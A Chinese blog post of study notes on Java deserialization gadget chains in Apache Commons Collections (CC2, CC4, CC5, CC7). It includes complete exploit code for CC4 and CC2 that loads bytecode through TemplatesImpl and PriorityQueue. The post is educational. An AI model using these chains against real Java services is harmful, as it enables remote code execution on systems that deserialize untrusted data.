java反序列化Commons-Collection篇04-cc2+cc4+cc5+cc7分析
前情提要:
文章学习来自b站白日梦组长视频讲解,如有错误,请各位大佬提出orz!!!
cc4
环境配置:


cc4在更新之后一个大版本里面存在的漏洞,如下图
commons-collections3的版本和4的版本在这条链上的区别就是TransformingComparator在4的版本里面继承了serialize接口

首先是在TransformingComparator里面的compare的transformer方法,找到了transformer,就可以和之前的链子连在一起

然后肯定最好就是要找哪个readobject里面可以调用compare
这里的话cc4的作者是找到了priorityQueue类
priorityQueue.readobject->heapify->siftdown->siftDownUsingComparator->compare




所以到这里其实就很简单了,就是修改了一下入口类,可以和任何一条链拼接起来
这里拼接的是官方的cc3链
问题:
如果想要进到readobject.heapify的siftdown方法里面,必须要求size>>>1必须要大于1

而这个size是在readobject里面赋值的

意思就是这个队列里面必须要有两个以上内容,才能保障2>>>1是等于1,进而可以走到siftdown方法里面

直接两个add,直接就可以进去
但是这里有问题的是第二个add的时候其实在序列化的时候就会执行代码
因为add.offer.siftUp.siftUpUsingComparator.compare
这样也会执行compare,就会直接把整条链子走完

所以我们需要在序列化的时候把链子断掉,这里是把transformingComparator里面传的参数修改,然后在add之后在反射修改回来

最终exp:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class cc4 {
public static void main(String[] args)throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc=templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodesField=tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://Security/JavaStudy/java_src/serialize/tmp/Test.class"));
byte[][] codes={code};
bytecodesField.set(templates,codes);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer=new ChainedTransformer<>(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class c =transformingComparator.getClass();
Field transformerField=c.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator,chainedTransformer);
// serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj)throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
}
tips:
反射改size,就不用put完之后反射修改chainedtransformer
大家可以自己尝试修改代码试一下
cc2
环境配置:

cc2和cc4几乎一摸一样

唯一的区别就是cc2没再使用transformer数组以及InstantiateTransformer,也就是没再使用chainedtransformer
TransformingComparator.compare.transformer->invokertransformer

对比cc4:

最终exp:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class cc2 {
public static void main(String[] args)throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc=templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodesField=tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://Security/JavaStudy/java_src/serialize/tmp/Test.class"));
byte[][] codes={code};
bytecodesField.set(templates,codes);
//就这一句和cc4不一样,其它的一摸一样,只是不调用数组了,当碰到过滤transformer数组的时候可以用这个
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
Class c =transformingComparator.getClass();
Field transformerField=c.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator,invokerTransformer);
// serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj)throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
}
cc5
环境配置:

流程分析:
看官方链

发现和cc1差不多,就是入口类变了
cc1的官方链子是AnnotationInvocationHandler.readobject,而cc5变成了BadAttributeValueException.readobject


其实和cc6的TiedMapEntry的原理是一样的
cc7
环境配置:
pom.xml

流程分析

还是入口点不一样,用到的入口点是Hashtable.readobject.reconstitutionPut.equals->AbstractMapDecorator.equals(AbstractMap.equals)



虽然跟进去调用的是AbstractMapDecorator的equals,但实际上使用的是AbstractMap的equals

然后就和lazymap.get后边的链子连在一起了

浙公网安备 33010602011771号